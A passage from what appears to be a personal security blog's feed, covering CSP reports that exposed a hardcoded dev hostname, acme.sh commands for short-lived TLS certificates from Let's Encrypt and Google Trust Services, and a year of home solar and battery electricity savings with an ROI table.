will be sent!</p><p></p><h4 id="content-security-policyfinding-assets-that-shouldnt-be-there">Content Security Policy - finding assets that shouldn&apos;t be there</h4><p>The whole point of CSP is to get visibility into what&apos;s happening on your site, and that can be what assets are loading, where data is being communicated, and much more. Often, we&apos;re looking for indicators of malicious activity, like JavaScript that shouldn&apos;t be present, or data being somewhere it shouldn&apos;t be. But, sometimes, we can also detect mistakes that were made during development!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1495" height="163" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-18.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-18.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-18.png 1495w" sizes="(min-width: 720px) 720px"></figure><p></p><p>We started getting reports for these images loading on our site and because they&apos;re not from an approved source, they were blocked and reported to us. Looking closely, the images are from our <code>.io</code> domain instead of our <code>.com</code> domain, which is what we use in test/dev environments, but not in production. It seems that someone had inadvertently hardcoded a hostname that they should not have hardcoded and our CSP let us know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png" class="kg-image" alt="Eating Our Own Dogfood: What Running Report URI on Report URI Taught Us" loading="lazy" width="1452" height="103" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-17.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-17.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-17.png 1452w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Another simple fix for an issue detected quickly and easily using CSP.</p><p></p><h4 id="but-normally-we-dont-find-anything">But normally we don&apos;t find anything!</h4><p>Of course, you&apos;re only ever going to find a problem by deploying our product if you had a problem to find in the first place. Our goal is always to test these features out and make sure they&apos;re ready for our customers, but sometimes, we do happen to find issues in our own site.</p><p>I guess that&apos;s really part of the value proposition though, the difference between <em>thinking</em> you don&apos;t have a problem and <em>knowing</em> you don&apos;t have a problem. Whether or not we&apos;d found anything by deploying these features, we&apos;d have still massively improved our awareness because we could then be confident we didn&apos;t have those issues. </p><p>It just so happens that we didn&apos;t think we had any problems, but it turns out we did! Do you think you don&apos;t have any problems on your site?</p><p></p>]]></content:encoded></item><item><title><![CDATA[Blink and you'll miss them: 6-day certificates are here!]]></title><description><![CDATA[<p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of</p>]]></description><link>https://scotthelme.ghost.io/blink-and-youll-miss-them-6-day-certificates-are-here/</link><guid isPermaLink="false">694688d8ab4aac00016ee79e</guid><category><![CDATA[Let's Encrypt]]></category><category><![CDATA[Google Trust Services]]></category><category><![CDATA[TLS]]></category><category><![CDATA[Short-Lived Certificates]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 19 Jan 2026 10:48:24 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/6-day-certs.webp" alt="Blink and you&apos;ll miss them: 6-day certificates are here!"><p>What a great way to start 2026! Let&apos;s Encrypt have now made their short-lived certificates <a href="https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, so you can go and start using them right away.</p><p>It wasn&apos;t long ago when the <a href="https://scotthelme.co.uk/shorter-certificates-are-coming/?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a> came that by 2029, all certificates will be reduced to a maximum of 47 days validity, and here we are already talking about certificates valid for less than 7 days. Let&apos;s Encrypt continue to drive the industry forwards and considerably exceed the reasonable expectations of today.</p><p></p><h4 id="getting-a-short-lived-certificate">Getting a short-lived certificate</h4><p>Of course, what you want to know is how to get one of these certificates! How you do this will change slightly depending on which tool you&apos;re using, but you need to specify the <code>shortlived</code> certificate profile when requesting your certificate from Let&apos;s Encrypt.</p><p>I&apos;m using <a href="https://acme.sh/?ref=scotthelme.ghost.io" rel="noreferrer">acme.sh</a> and here is the command I used to get one of these certs when I started playing with this last year:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --force --keylength ec-256 --server letsencrypt --cert-profile shortlived</code></pre><p></p><p>After the certificate was issued, I got my notification from Certificate Transparency monitoring via <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>, and I could see the full details of the certificate. Here they are:</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="870" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image.png 870w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that validity period!!</p><p><strong>Valid From</strong>: 15 Nov 2025<br><strong>Valid To</strong>: 22 Nov 2025</p><p>You can find the full details on the <code>shortlived</code> certificate profile from Let&apos;s Encrypt, and other supported profiles, on <a href="https://letsencrypt.org/docs/profiles/?ref=scotthelme.ghost.io#shortlived" rel="noreferrer">this page</a>. </p><p></p><h4 id="its-not-just-lets-encrypt">It&apos;s not just Let&apos;s Encrypt</h4><p>The good news is that Let&apos;s Encrypt isn&apos;t the only place that you can get your 6-day certificates from either! <a href="https://scotthelme.co.uk/another-free-ca-to-use-via-acme/?ref=scotthelme.co.uk" rel="noreferrer">Google Trust Services</a> also allows you to obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+6d&apos;</code></pre><p></p><p>That&apos;s another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id="how-low-can-you-go">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let&apos;s Encrypt <code>shortlived</code> profile doesn&apos;t allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... &#x1F60E;</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+1d&apos;</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="936" height="608" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-1.png 936w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just to prove that this really is a thing, here&apos;s the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----
    MIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7
    MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww
    CgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w
    GwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49
    AwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL
    YNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw
    EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq
    WpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu
    iC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v
    Zy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j
    cnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI
    BgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix
    L0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B
    AQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh
    zTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc
    MjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu
    pPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh
    OH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO
    rCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==
    -----END CERTIFICATE-----</code></pre><p></p><h4 id="automation-is-king">Automation is King</h4><p>The great thing about this, and I&apos;ve been using these certs for weeks now, is that once you&apos;re using an ACME client, you&apos;re already automated, and once you&apos;re automated, the validity period really isn&apos;t relevant any more. I&apos;m currently sticking with the 6-day certs, and I will alternate between Let&apos;s Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn&apos;t change anything at all, so give it a try!</p><p></p>]]></content:encoded></item><item><title><![CDATA[What a Year of Solar and Batteries Really Saved Us in 2025]]></title><description><![CDATA[<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>]]></description><link>https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/</link><guid isPermaLink="false">6962376aa2de7d0001fa2a36</guid><category><![CDATA[Tesla Powerwall]]></category><category><![CDATA[Solar Power]]></category><category><![CDATA[Octopus Energy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 13 Jan 2026 11:24:31 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/2025-energy.webp" alt="What a Year of Solar and Batteries Really Saved Us in 2025"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we&apos;ve saved!</p><p></p><h4 id="our-setup">Our setup</h4><p>Just to give a quick overview of what we&apos;re working with, here are the details on our solar, battery and tariff situation:</p><ul><li>&#x2600;&#xFE0F;Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn&apos;t as often as I&apos;d like in the UK!</li><li>&#x1F50B;Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~&#xA3;0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~&#xA3;0.07/kWh, is a significant cost saving.</li><li>&#x1F4A1;Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let&apos;s get into the details!</p><p></p><h4 id="grid-import">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1138" height="503" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-3.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-3.png 1138w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="997" height="577" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-8.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they&apos;re charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1290" height="1568" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-11.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-11.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-11.png 1290w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s great to see how all of these sources of data align so poorly! &#x1F605;</p><h4 id="grid-export">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn&apos;t really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn&apos;t worth exporting as we were only getting &#xA3;0.04/kWh but at the end of May, our export tariff went live and we were then getting paid &#xA3;0.15/kWh for export. My <a href="https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io" rel="noreferrer">first</a> and <a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">second</a> blog posts cover the full details of this change when it happened if you&apos;d like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="989" height="582" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-9.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-9.png 989w" sizes="(min-width: 720px) 720px"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id="solar-production">Solar Production</h4><p>We&apos;re really not in the best part of the world for generating solar power, but we&apos;ve still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we&apos;re definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1582" height="513" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-12.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-12.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-12.png 1582w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1132" height="504" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-2.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-2.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-2.png 1132w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it&apos;s data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1157" height="560" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/01/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-4.png 1157w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="calculating-the-savings">Calculating the savings</h4><p>This isn&apos;t exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I&apos;m currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) &#x2212; 6.0 MWh export = 17.3 MWh usage</p><p>If we didn&apos;t have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x &#xA3;0.28/kWh = &#xA3;896<br>Off-peak rate: 3,200 kWh x &#xA3;0.07/kWh = &#xA3;224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we&apos;re able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made &#xA3;224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we&apos;d have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we&apos;d have imported 14.1 MWh of electricity. That&apos;s quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some quite impressive results.</p><p>Peak rate: 17,300 kWh x &#xA3;0.28/kWh = &#xA3;4,844<br>Peak rate with solar: 14,100 kWh x &#xA3;0.28 = &#xA3;3,948</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211<br>Off-peak rate with solar: 14,100 kWh x &#xA3;0.07/kWh = &#xA3;987</p><p>This means there&apos;s a potential swing from &#xA3;4,844 down to &#xA3;987 with solar and battery, a total potential saving of &#xA3;3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from &#xA3;350-&#xA3;400 per month down to &#xA3;50-&#xA3;100 per month depending on the time of year. But it gets better.</p><p></p><h4 id="exporting-excess-energy">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at &#xA3;0.07/kWh, and then export it during the peak rate for &#xA3;0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="988" height="623" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-7.png 988w" sizes="(min-width: 720px) 720px"></figure><p></p><p>And here is our electricity export data:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="983" height="706" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/01/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/image-6.png 983w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is &#xA3;0.45/day so about &#xA3;13.50 per month to go on any given month, but looking at the raw energy costs, it&apos;s impressive.</p><p></p><h4 id="the-final-calculation">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid &#xA3;1,211 for the year. Adding up all of our monthly charges, our total for the year was &#xA3;1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = &#xA3;1,608.11 - (365 * &#xA3;0.45)<br><strong>Total import = &#xA3;1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = &#xA3;886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>&#xA3;557.37</strong>! To put this another way, the effective rate of our electricity is now just &#xA3;0.03/kWh.</p><p>&#xA3;557.37 / 17,300kWh = <strong>&#xA3;0.03/kWh</strong></p><p></p><h4 id="but-was-it-all-worth-it">But was it all worth it?</h4><p>That&apos;s a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>&#xA3;17,580 - Powerwalls #1 and #2 installed.<br>&#xA3;13,940 - Solar array installed.<br>&#xA3;7,840  - Powerwall #3 installed.<br>Total cost = &#xA3;39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been &#xA3;3,632.86:</p><p>11,533 kWh x &#xA3;0.28/kWh = &#xA3;3,229.24<br>5,766 kWh x &#xA3;0.07/kWh = &#xA3;403.62<br>Total = &#xA3;3,632.86</p><p></p><p>Instead, our costs were only &#xA3;557.37, meaning we saved &#xA3;3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~&#xA3;0, and that&apos;s our goal.</p><p>Having our full costs returned in ~11 years is definitely something we&apos;re happy with, and we&apos;ve also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>
    <thead>
    <tr>
    <th style="text-align:right">Year</th>
    <th style="text-align:right">Cumulative savings (&#xA3;)</th>
    <th style="text-align:right">ROI (%)</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td style="text-align:right">1</td>
    <td style="text-align:right">3,632.86</td>
    <td style="text-align:right">9.23%</td>
    </tr>
    <tr>
    <td style="text-align:right">2</td>
    <td style="text-align:right">7,265.72</td>
    <td style="text-align:right">18.46%</td>
    </tr>
    <tr>
    <td style="text-align:right">3</td>
    <td style="text-align:right">10,898.58</td>
    <td style="text-align:right">27.69%</td>
    </tr>
    <tr>
    <td style="text-align:right">4</td>
    <td style="text-align:right">14,531.44</td>
    <td style="text-align:right">36.92%</td>
    </tr>
    <tr>
    <td style="text-align:right">5</td>
    <td style="text-align:right">18,164.30</td>
    <td style="text-align:right">46.15%</td>
    </tr>
    <tr>
    <td style="text-align:right">6</td>
    <td style="text-align:right">21,797.16</td>
    <td style="text-align:right">55.38%</td>
    </tr>
    <tr>
    <td style="text-align:right">7</td>
    <td style="text-align:right">25,430.02</td>
    <td style="text-align:right">64.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">8</td>
    <td style="text-align:right">29,062.88</td>
    <td style="text-align:right">73.84%</td>
    </tr>
    <tr>
    <td style="text-align:right">9</td>
    <td style="text-align:right">32,695.74</td>
    <td style="text-align:right">83.07%</td>
    </tr>
    <tr>
    <td style="text-align:right">10</td>
    <td style="text-align:right">36,328.60</td>
    <td style="text-align:right">92.30%</td>
    </tr>
    <tr>
    <td style="text-align:right">15</td>
    <td style="text-align:right">54,492.90</td>
    <td style="text-align:right">138.43%</td>
    </tr>
    <tr>
    <td style="text-align:right">20</td>
    <td style="text-align:right">72,657.20</td>
    <td style="text-align:right">184.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">25</td>
    <td style="text-align:right">90,821.50</td>
    <td style="text-align:right">230.76%</td>
    </tr>
    </tbody>
    </table>
